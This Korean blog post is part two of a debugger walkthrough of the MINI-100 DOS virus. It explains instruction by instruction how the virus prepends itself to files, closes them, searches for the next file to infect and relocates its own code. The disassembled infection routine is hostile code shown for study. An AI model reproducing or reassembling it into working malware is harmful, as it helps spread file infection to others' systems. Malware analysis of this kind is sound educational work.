MINI-100 바이러스 분석하기 - (2)
실습 환경
VMware Workstation 15 Player (FREE 버전)
Windows XP Professional SP3 (32Bit)
MINI-100 바이러스 분석하기 - (1)에 이어서 진행합니다.
19E0:0147 MOV AX, 4200
19E0:014A CWD
MOV 명령어로 AX=4200 값을 입력합니다. 이어서 CWD 명령어를 실행합니다.
CWD 명령어는 AX 워드 정보를 DX:AX의 더블 워드형으로 확장하는 명령어입니다.
AX는 그대로 유지되지만, DX=0000의 값이 됩니다.
MOV 명령어 대신 사용하여 DX의 값을 0000으로 만들었는데 파일 크기를 줄이는 방법입니다.(CWD=1 Byte, MOV=3 Byte)
19E0:014B INT 21
INT 21h, 42
파일 포인터 설정
파일의 시작, 파일의 끝 또는 현재 파일 위치에 대하여 상대적인 파일 위치 포인터를 옮긴다.
AH = 42
AL = 00 : 파일 시작에서부터
01 : 현재 포인터부터
02 : 파일의 끝에서부터
BX = 파일 핸들
CX = 파일 포인터를 옮길 거리의 상위 워드
DX = 파일 포인터를 옮길 거리의 하위 워드
AL=00, BX=0005, CX=0000, DX=0000
정리 => 레지스터의 값이 AL=00, BX=0005, CX=0000, DX=0000 처럼 설정이 되어 있을 경우 파일의 포인터가 처음으로 이동하게 됩니다.
이 전의 INT 21로 파일의 모든 내용을 읽어 파일 포인터가 끝으로 이동되었던 것을 파일명 앞에 바이러스를 넣기 위해 설정을 위에 처럼 한 것입니다.
19E0:014B INT 21 명령어 다음에는 -p 명령어를 입력하여 INT 21을 빠져나옵니다.
정상적으로 실행되면 AX=0000, DX=0000 값이 나오고 CF=0(NC)가 됩니다.
AX = 옮겨진 파일 포인터의 하위 워드, DX = 옮겨진 파일 포인터의 상위 워드
만약 실패할 경우 AX=에러 번호, CF=1 값을 가지게 됩니다.
19E0:014D MOV AH, 40
19E0:014F POP CX
MOV 명령어로 AH 값을 40으로 바꿔줍니다. AX=4000이 됩니다.
POP CX 명령어로 메모리에 있는 값을 추출합니다. 이 때 19E0:0146 PUSH AX 명령어로 넣어 두었던 악성코드 크기(64h) + 원본 파일 크기의 값(17h)을 가진 0075값이 추출되어 CX=0075 값을 가지게 됩니다.
19E0:0150 PUSH SI
19E0:0151 POP DX
SI=0100 값을 메모리에 넣었다가 POP DX 명령어로 추출하여 DX에 0100 값을 저장합니다.
19E0:0152 INT 21
INT 21h, 40
파일에 내용 쓰기
파일에 버퍼에 저장되어 있는 내용을 쓴다.
AH = 40
BX = 파일 핸들
CX = 쓸 바이트 개수
DS:DX = 파일에 쓸 내용이 저장되어 있는 버퍼의 세그먼트와 오프셋
1AE0공간에 있는 0100 ~ 0175까지의 내용을 파일에 작성합니다. (MINI-100 + 파일 원본)
19E0:0152 INT 21 명령어 다음에는 -p 명령어를 입력하여 INT 21을 빠져나옵니다.
정상적으로 실행되면 CF=0(NC), AX=0075 값이 됩니다.
AX = 사용한 Byte 수
만약 실패할 경우 AX=에러 번호, CF=1 값을 가지게 됩니다.
19E0:0154 PUSH CS
19E0:0155 POP DS
19E0:0156 MOV AH, 3E
CS의 값인 19E0을 메모리에 넣어준 후 POP DS 명령어로 다시 추출하여 DS에 19E0 값을 저장합니다.
MOV 명령어로 AH에 3E 값을 입력합니다. AX=3E75 값이 됩니다.
19E0:0158 INT 21
INT 21h, 3E
파일 닫기
오픈되어 있는 파일을 닫는다.
AH = 3E
BX = 파일 핸들
성공하면 CF=0, AX=파일 핸들 값을 가지게 된다.
실패하면 CF=1, AX=에러 번호 값을 가진다.
19E0:015A INT 21 명령어 다음에는 -p 명령어를 입력하여 INT 21을 빠져나옵니다.
정상적으로 실행되면 CF=0(NC), AX=3E00 값이 됩니다.
만약 실패할 경우 AX=에러 번호, CF=1 값을 가지게 됩니다.
INT 21, 3E 이후에 파일의 속성을 확인하면 파일의 크기가 100 Byte 증가한 117 Byte가 된 것을 확인할 수 있습니다. (원본 17 Byte)
19E0:015A MOV AH, 4F
19E0:015C JMP 0113
MOV 명령어를 이용하여 AH에 4F 값을 입력합니다. AX=4F00이 됩니다.
JMP 0113 명령어를 실행하면 19E0:0113 주소로 점프합니다.
19E0:0113 INT 21
INT 21h, 4F
다음 파일 찾기
함수 4E를 사용한 뒤 계속해서 파일을 찾을 때 사용한다.
AH = 4F
성공하면 CF=0, 현재 디스크 전송 영역(DTA)의 내용이 다음과 같이 변경된다.
실패하면 CF=1, AX=에러 번호3 값을 가진다.
19E0:0115 INT 21 명령어 다음에는 -p 명령어를 입력하여 INT 21을 빠져나옵니다.
찾는 파일이 더이상 없게 되어 AX=0012, CF=1(CY) 값을 가지게 됩니다.
19E0:0115 JNB 012D
JNB 명령어는 CF=0(NC)일 때 발동하는 점프문입니다.
그러나 INT 21, 4F 명령어가 실패 결과가 발생하여 CF=1(CY)가 되어 JNB 명령어는 발동하지 않고 지나치게 됩니다.
찾는 파일이 있을 경우 JNB 명령어가 수행됩니다.(추가 감염)
19E0:0117 PUSH SI
19E0:0118 PUSH ES
19E0:0119 PUSH CS
19E0:011A POP ES
차례대로 SI의 0100 값, ES의 1AE0 값, CS의 19E0 값을 메모리에 넣어줍니다.
그리고 POP ES 명령어로 마지막에 넣어준 CS의 19E0 값을 추출해 ES에 저장합니다.
19E0:011B XCHG DI, SI
19E0;011D MOV CX, FE9B
XCHG 명령어를 이용하여 DI와 SI의 값을 서로 바꿔줍니다.
SI=0164, DI=0100
MOV 명령어를 통해 CX에 FE9B 값을 입력합니다.
CX=FE9B
19E0:0120 MOV AX, 0125
19E0:0123 PUSH AX
MOV 명령어를 이용하여 AX에 0125 값을 입력합니다.
PUSH 명령어로 AX의 0125 값을 메모리에 저장합니다.
19E0:0124 RETF
RETF 명령어를 실행하면 스택에서 두 워드를 꺼내 처음 꺼낸 값은 IP에 넣고, 두번째로 꺼낸 값은 CS에 넣습니다.
CS:IP는 항상 다음에 실행할 명령어를 가리키므로 19E0:0124에서 1AE0:0125로 실행 흐름이 변경됩니다.
RETF가 끝난 다음에는 1AE0:0125로 주소가 변경되고 REPZ 명령어가 나오게 됩니다.
1AE0:0125 REPZ
1AE0:0126 MOVSB
REPZ 명령어는 CX에 저장된 만큼 바로 아래 명령어를 반복 수행하는 명령어 입니다.
REPZ는 바로 밑에 있는 MOVSB 명령어를 CX의 값 만큼 반복하게 됩니다.
MOVSB 명령어는 DS:SI가 가리키고 있는 메모리의 내용을 ES:DI가 가리키고 있는 곳으로 옮기는 명령어입니다.
*DF가 0이면, SI, DI는 증가하고, DF가 1이면 SI, DI는 감소한다.
바이트형이면 1, 워드형이면 2를 SI와 DI에서 증가 또는 감소한다.
정리하면 REPZ와 MOVSB 명령어를 통해 19E0:0164에서 19E0:0100으로 복사하는 작업을 합니다. CX는 1씩 감소하여 최종적으로 0000 값이 되고, SI와 DI는 1씩 증가하여 SI=FFFF, DI=FF9B 값이 됩니다.
1AE0:0127 POP SI
1AE0:0128 PUSH ES
코드 실행 전 값 ES=19E0
POP SI 명령어를 통해 스택에 저장되어 있던 0100 값이 추출되어 SI는 0100의 값을 가지게 되고, PUSH ES 명령어로 ES의 값 19E0 값이 스택에 저장됩니다.
코드 실행 후 값 ES=19E0, SI=0100
1AE0:0129 PUSH ES
1AE0:012A POP DS
1AE0:012B PUSH SI
1AE0:012C RETF
코드 실행전 값 ES=19E0, SI=0100
PUSH ES 명령어로 19E0 값을 한 번더 스택에 저장합니다. 그리고 POP DS 명령어로 19E0 값을 추출하여 DS에 저장합니다.
마지막으로 PUSH SI 명령어로 0100 값을 스택에 저장합니다.
코드 실행후 값 ES=19E0, DS=19E0, SI=0100
1AE0:012C RETF
RETF 명령어를 실행하면 스택에서 두 워드를 꺼내 처음 꺼낸 값은 IP에 넣고, 두번째로 꺼낸 값은 CS에 넣습니다.
CS:IP는 항상 다음에 실행할 명령어를 가리키므로 1AE0:012C에서 19E0:0100으로 실행 흐름이 변경됩니다.
이상으로 MINI-100 바이러스의 코드에 대하여 알아보았습니다.
감사합니다.
'어셈블리어와 악성코드' 카테고리의 다른 글
MINI-100 바이러스 분석하기 - (1) (0) | 2018.11.26 |
---|---|
MINI-100 바이러스에 대하여 알아보기 (0) | 2018.11.25 |
어셈블리어를 이용하여 1부터 100까지의 합을 구해보자 (0) | 2018.11.23 |
레지스터와 메모리에 대하여 알아보기 (0) | 2018.11.22 |
INT(Interrupt), NOP(No Operation), LOOP (0) | 2018.11.21 |